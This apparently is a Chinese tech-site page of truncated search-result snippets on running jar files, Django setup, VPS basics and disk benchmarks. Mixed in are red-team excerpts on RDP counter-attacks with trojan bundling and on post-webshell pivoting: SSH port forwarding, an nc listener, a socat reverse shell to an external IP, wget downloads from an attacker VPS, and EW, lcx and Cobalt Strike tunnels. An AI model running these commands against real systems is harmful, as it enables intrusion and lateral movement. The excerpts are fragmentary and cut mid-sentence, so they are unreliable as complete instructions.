1.我jar包在linux的目录为/a/bbb.jar 正常情况下,使用在/a目录下使用 java -jar bbb.jar 可以直接运行该jar包的项目,运行成功之后使用crtl+c可以退出项目运行...,或者直接关闭连接窗口,项目也会停止运行; 2.使jar包在后台一直运行的方法 为了满足客户随时都可以访问项目的需求,把项目修改为在后台一直运行。...在/a目录下执行 nohup java -jar bbb.jar & 即可。当前目录下会生成一个nohup.out文件,控制台输入的东西会会被转移到这个文件中。最后通过exit退出终端窗口。
本文针对裸机 Linux 搭建 Django 的服务器栈,可直接应用在Linode等VPS上。...Linux:Ubuntu 12.04 + ,其他版本类似 说明: # 以#开头表示注释, $ 这里是需要执行的命令 ○、连接VPS或者服务器 不多说,putty...VIRTUALENV_NAME> # 切换到虚拟环境 $ pip freeze # 查看虚拟环境内的软件包及版本,就可以发现不同 ================= 以下操作均在虚拟环境内进行...运行权限 $ chmod +x manage.py # 测试服务器,如果只是在本机测试则不需要指定 0.0.0.0 $ ..../manage.py run_gunicorn -w 4 -k gevent # Ctrl+C 可以退出 Gunicorn,PS:如果它成功运行的话 十一、安装 Supervisor,提供自启动支持 通过
✎ 阅读须知 乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。...背景介绍 在很多攻防中,蓝队想要根据一台公网的RDP服务器或者Windows蜜罐服务器,获取攻击者本身的真实pc,可以尝试使用RDP反制来操作,本文以此为背景,进行学习记录。...RDP反制 此时这个服务器已经被控,维护人员用Windows来3389连接这个vps,首先看下本地win10远程登录的选项: image.png 在高级选项详细信息这里可以看到,当前的机器中驱动器默认是不选择的...,是无法直接让其在Windows10上运行的: 一句话来说,我们可以浏览文件、复制文件、删除文件,就是不可以运行文件。...、 就算是在3389的桌面上这样运行,也只能够在vps上显示: image.png 因此,在作者的文章中提到了一个思路,将木马捆绑到一个常用的可执行文件上,然后等对方点击的时候,就上线了。
软件包可以轻松地运行在预算中的VPS上,在我的测试环境中,在线的服务器最多可以连接10000个设备。我使用了一些额外的VPS来模拟大量的设备来完成了这一测试。...Linux 我预算中的VPS运行的是Linux系统。如果你从未使用过Linux,你可能会认为本文并不适合你,但是不试试又怎么知道自己不适合呢?...对于Linux命令行的初学者来说,在线的VPS是最好的起点,因为无论你在VPS上做了什么错误的操作,你都可以通过VPS提供商为你提供的web控制界面上的一个按钮将你的VPS还原至初始配置。...安装IoT服务器 在安装服务器软件之前,如果你对VPS上的Linux系统做了改动,我建议你通过控制面板重装一下系统。...只要对初始代码稍作修改就可以运行在任何型号的Arduino上。
mysite/wsgi.py:作为你的项目的运行在 WSGI 兼容的Web服务器上的入口。阅读 如何使用 WSGI 进行部署 了解更多细节。...创建应用的命令如下:python3 manage.py startapp assetinfo 可以看到,执行命令之后,就创建了一个应用名的文件夹,并自动生成了相关文件,下面对文件说明如下: _init.py...tests.py文件用于开发测试用例,在实际开发中会有专门的测试人员,这个事情不需要我们来做。 models.py文件跟数据库操作相关。...,这是你在 index 视图中定义的。 启动开发web服务 在开发阶段,为了能够快速预览到开发的效果,django提供了一个纯python编写的轻量级web服务器,仅在开发阶段使用。...运行服务器命令如下: python3 manage.py runserver ip:port 例: python3 manage.py runserver 可以不写IP和端口,默认IP是127.0.0.1
在企业安全对抗中,红方攻击团队经常会遇到这种情况,在企业的网络边界上获取到部分权限,比如一个web服务器的webshell,然而如何更方便的进行下一步的渗透呢?...在serverB上执行: ssh -L 7001:localhost:7070 root@106.22.50.48 作用:serverB监听7001端口,并将7001端口的数据转发到vps的7070端口...利用:在serverB上运行一个socks代理,代理端口设置为7001,这样再执行上面的命令,这样我们就相当于建立了一个socks5隧道。...上用监听4444端口: nc -vv -l -p 4444 在serverB上执行: ?...,sane 在serverB上执行: socat FILE:`tty`,raw,echo=0 TCP:106.22.50.48:1337 反向shell vps上执行监听1337: socat TCP-LISTEN
mysite/wsgi.py:作为你的项目的运行在 WSGI 兼容的Web服务器上的入口。阅读 如何使用 WSGI 进行部署 了解更多细节。...创建应用的命令如下: python3 manage.py startapp assetinfo 可以看到,执行命令之后,就创建了一个应用名的文件夹,并自动生成了相关文件,下面对文件说明如下: _init.py...tests.py文件用于开发测试用例,在实际开发中会有专门的测试人员,这个事情不需要我们来做。 models.py文件跟数据库操作相关。...,这是你在 index 视图中定义的。 启动开发web服务 在开发阶段,为了能够快速预览到开发的效果,django提供了一个纯python编写的轻量级web服务器,仅在开发阶段使用。...运行服务器命令如下: python3 manage.py runserver ip:port 例: python3 manage.py runserver 可以不写IP和端口,默认IP是127.0.0.1
乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。...在自己的VPS上搭建一个server python3 -m http.server 1234 在目标服务器上使用wget来下载 wget http://自己的VPS:1234/stinger_server.../stinger_server 0.0.0.0 在自己的VPS服务器上执行 ....在VPS上启动CS的服务端,然后设置监听,其中HTTP Hosts为目标机的ip地址,端口默认60020。.../ew_for_linux64 -s rssocks -d 自己的VPS -e 4399 然后在VPS上执行ew .
上面执行的startproject命令创建了以下的目录结构 mysite/ manage.py mysite/ __init__.py settings.py...它的名称对Django无关紧要;可以将其重命名为任何喜欢的名称。 manage.py:一个命令行实用程序,可以以各种方式与该Django项目进行交互。...要验证django项目是否有效,只需要cd进入mysite目录,然后执行以下命令 python manage.py runserver 这里就会启动开发服务器(不要在生产环境中使用此服务器) 自动重新加载...您无需重新启动服务器即可使代码更改生效。但是,某些操作(例如添加文件)不会触发重新启动,因此在这种情况下,您必须重新启动服务器。...在处理请求时,Django从第一个模式开始,urlpatterns然后沿列表向下移动,将请求的URL与每个模式进行比较,直到找到匹配的URL。 模式不搜索GET和POST参数或域名。
一、云计算与虚拟化有何不同 虚拟化是在单台服务器上创建多个虚拟环境的过程。它通过使用虚拟化软件来实现此目的, 这使得可以在同一台服务器上同时运行多个操作系统。...另外,由于每个虚拟机,每个VPS都能够运行自己的操作系统,因此您可以同时运行更多的应用程序;从本质上讲,可以让您以更少的成本实现更多的功能,运行大型关系数据库、虚拟局域网和存储区域网络尤其如此。...由于可以在一台VPS上进行维护而不会中断其他VPS,因此停机时间减少。例如,如果您在不同的VPS上运行不同的应用程序,则可以升级一个应用程序,同时保持其他应用程序正常运行。...例如,通过云计算,您可以选择拥有私有云,托管在公共云服务器上,甚至创建这两者的混合云。虚拟化选择来自购买托管计划中的单个VPS,或者购买多台物理服务器,在其上创建更广泛的虚拟化机器。...这对于那些运行定制或遗留软件的公司特别有用,它们可能与云服务器上使用的操作系统和软件存在兼容性问题。对那些存储高度敏感数据的企业来说,这也是一个有用的模式,他们不希望存储在云中。
dd测试硬盘性能 dd bs=64k count=4k if=/dev/zero of=test oflag=dsync(这种方法是最严格的,可以模拟数据库的插入操作,所以很慢,也是用来测试vps硬盘性能标准的一条标杆...dd bs=64k count=4k if=/dev/zero of=test conv=fdatasync 加入这个参数后,dd命令执行到最后会真正执行一次“同步(sync)”操作,所以这时候你得到的是读取这...dd bs=64k count=4k if=/dev/zero of=test oflag=dsync 加入这个参数后,dd在执行时每次都会进行同步写入操作。...这可能是最慢的一种方式了,因为基本上没有用到写缓存(write cache)。...,普通硬盘的服务器执行DD命令结果在30M左右就不错了,另外,执行DD命令测试硬盘IO性能,对硬盘的损害很大,不建议多次或长时间尝试!
如果不选中那么admin这个会在setting.py的url中注释掉,同时在setting.py文件中的INSTALLED_APPS的变量中添加django.contrib.admin。...下图是django项目创建后,在本地项目文件夹中的目录: 三、django项目的运行 前台:点击PyCharm右上角绿色小三角运行项目,浏览器输入127.0.0.1:8000或者localhost...,这里就需要: 同步/生效表结构:在项目根目录下,python3 manage.py makemigrations (django新版本可以不用执行)和 python3 manage.py migrate...,是python应用与Web服务器交互的接口,一般不需要做任何修改 manage.py:manage.py文件位于整个项目的最外层,是该项目的项目管理器,它提供了很多的命令用来管理该项目,在终端中可以查看它提供的所有命令...init.py:生成的空文件 0001_initial.py:是在执行python manage.py makemigrations命令时生成的 0002_db_duan.py:也是在执行python
2、在VPS上执行 lcx.exe –listen 9000 5555 此段命令意思是将本机9000端口上监听到的所有数据转发到本机的5555端口上。...工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内,强烈推荐使用。...该命令的意思是在我们公网VPS上添加一个转接隧道,把1080端口收到的代理请求转交给888端口 B.上传EW到右侧IP地址为10.48.128.25的WEB服务器C盘上,运行下列命令: ew -s rssocks...这个操作分为4步,用到lcx_listen和lcx_slave命令: A. 先上传ew 到左侧公网VPS上,运行下列命令: ew –s lcx_listen –l 10800 –e 888 ?...在左侧公网VPS上运行命令,将1080端口收到的代理请求转交给888端口: ew -s rcsocks -l 1080 -e 888 B.在A主机上运行命令,将公网VPS的888端口和B主机的999端口连接起来
以后会使用它执行管理操作 wsgi.py(重要部分) 要了解这个文件的作用, 我们必须明白wsgi 是什么意思 python 组织制定了 web 服务网关接口(Web Server Gateway...mysite/wsgi.py:作为你的项目的运行在 WSGI 兼容的Web服务器上的入口。阅读 如何使用 WSGI 进行部署了解更多细节。...运行开发web 服务只需要在命令行窗口里面, 首先进入到项目根目录 ,比如,我们这里就是 d:\projects\bysms 然后执行如下命令 使用命令行运行项目: python manage.py...现在是个提醒你的好时机:千万不要 将这个服务器用于和生产环境相关的任何地方。这个服务器只是为了开发而设计的。(我们在 Web 框架方面是专家,在 Web 服务器方面并不是。)...比如,为了监听所有服务器的公开IP (这你运行 Vagrant 或想要向网络上的其它电脑展示你的成果时很有用),使用: python manage.py runserver 0:8000 0
打开命令行, cd 到一个你想放置代码的位置,然后运行一下命令: django-admin startproject demo_proj # 如 果 提 示 命 令 不 存 在,可 以 用 django-admin.py...demo_proj/wsgi.py :作为你的项目的运行在 WSGI 兼容的Web服务器上的入口。 启动Django工程 工程创建完毕,我们要来确认下是否创建成功。...在命令行模式下将路径切换到 demo_proj 工程中的 manage.py 同级目录下,并执行命令: ......浏览器接收到服务器发送过来的返回信息,在浏览器上显示 Hello, world. This is your first Django ....为部署应用提供方便,把开发环境的虚拟环境打包到生产环境即可,不需要在服务器上再折腾一翻。沙盒环境就相当于一 个一个不同的盒子,在这个盒子里安装的任何软件包都不会影响到其他和盒子。
灵活部署: 可以在单个小型 VPS 上以 Docker 容器方式运行,也可在大型 Kubernetes 集群上部署以应对更高的流量。 追踪指标 页面访问量: 统计网站页面的打开/浏览次数。...ONLY_SUPERUSERS_CREATE=True # 是否只有超级用户能创建服务 # 是否在启动时执行检查和设置,包括应用未应用的迁移。对于大多数设置,建议值为 True。...将会执行检查和设置。 PERFORM_CHECKS_AND_SETUP=True # 是否在启动时执行检查和设置 # Shynet 应绑定的端口。如果你在 Heroku 上部署,请不要设置此项。...然后在 docker-compose.yml 文件中的第38行,将端口号修改为你希望绑定的本地端口号。 首次启动 Shynet 服务器: 运行 docker-compose up -d 命令。...这样我们的主程序就创建成功了,下面进行登陆操作。 创建管理员用户: 运行 docker exec -it shynet_main .
我们在linux VPS 上面架设网站之后,还需要对安全方面加以设置,很多新手并不明白 linux 服务器如何做好安全措施,他们能够搭建起网站已经很不容易了,那么为了最简单的搭配好 linux VPS...安装服务器安全狗成功 完成安装后可运行命令 sdui 进入操作界面如下图。这个界面是使用键盘来操作一些设置的,看不懂的话还是别乱动了,有心的站长可以自己琢磨一下。 ?...服务器安全狗 linux 设置页面 你要是不爱看上面的英文界面也可以选择进入服云管理网址去操作图形界面,登陆服务器安全狗之后如下图,这里你就可以时刻看到自己的 VPS 主机的安全情况了。 ?...服务器安全狗的服云查看网页 老魏说安装服务器安全狗的目的是为了帮自己加固 VPS 的安全设置,因为我们对 linux 的很多地方并不了解,仅限于会用几行命令添加环境和搭建网站,对于那么多的 DDOS 之类的网络攻击更是没有任何抵御能力...在服云的网页上我们能看到如上图的安全报告,这对于我们的小站来说已经足够了。
在不用部分之间有明确的分隔意味着它可以通过在任何级别添加硬件来扩展服务:缓存服务器,数据库服务器或应用程序服务器。 灵活 Django 是用Python编写的,它在许多平台上运行。...这意味着你不受任务特定的服务器平台的限制,并且可以在许多种类的Linux,Windows和Mac OsX 上运行应用程序。...WSGI 兼容的Web服务器上的入口 4、这个时候执行第三条命令 python manage.py startserver 这时候你可以看到这个页面 是不是很激动 一个web服务就这样运行起来了,让我们数一数...,才三条命令,是不是感觉超级简单~不过别放松,麻烦的后面才开始呢~ 5、好了,开始学习第四条命令了 python manage.py startapp polls 这条命令的作用呢 就是在manage.py...然后python manage.py runserver 最后访问http://127.0.0.1:8000/polls/ 三、总结 好了,不卖关子了,我们刚刚做了三件事情,第一件事情呢是在views.py
对于 Linux 管理员来说,重启和关闭系统是其诸多风险操作中的一例,有时候,由于某些原因,这些操作可能无法挽回,他们需要更多的时间来排查问题。 在 Linux 命令行模式下我们可以执行这些任务。...使用适当的命令复盘操作,验证工作。 最后,重启系统。 验证日志文件,如果一切顺利,执行下一步操作,如果发现任何问题,对症排查。 无论是回退版本还是运行程序,通知相关团队提出申请。...可以在您的终端上敲击 shutdown -c 选项取消操作。...它将会检查 /etc/inittab 文件并决定 linux 运行级别。同时,允许用户在 Linux 设备上执行关机或重启操作. 这里存在从 0 到 6 的七个运行等级。...建议阅读: 如何检查 Linux 上所有运行的服务 执行以下 init 命令关闭系统。 # init 0 0: 停机 – 关闭系统。
领取专属 10元无门槛券
手把手带您无忧上云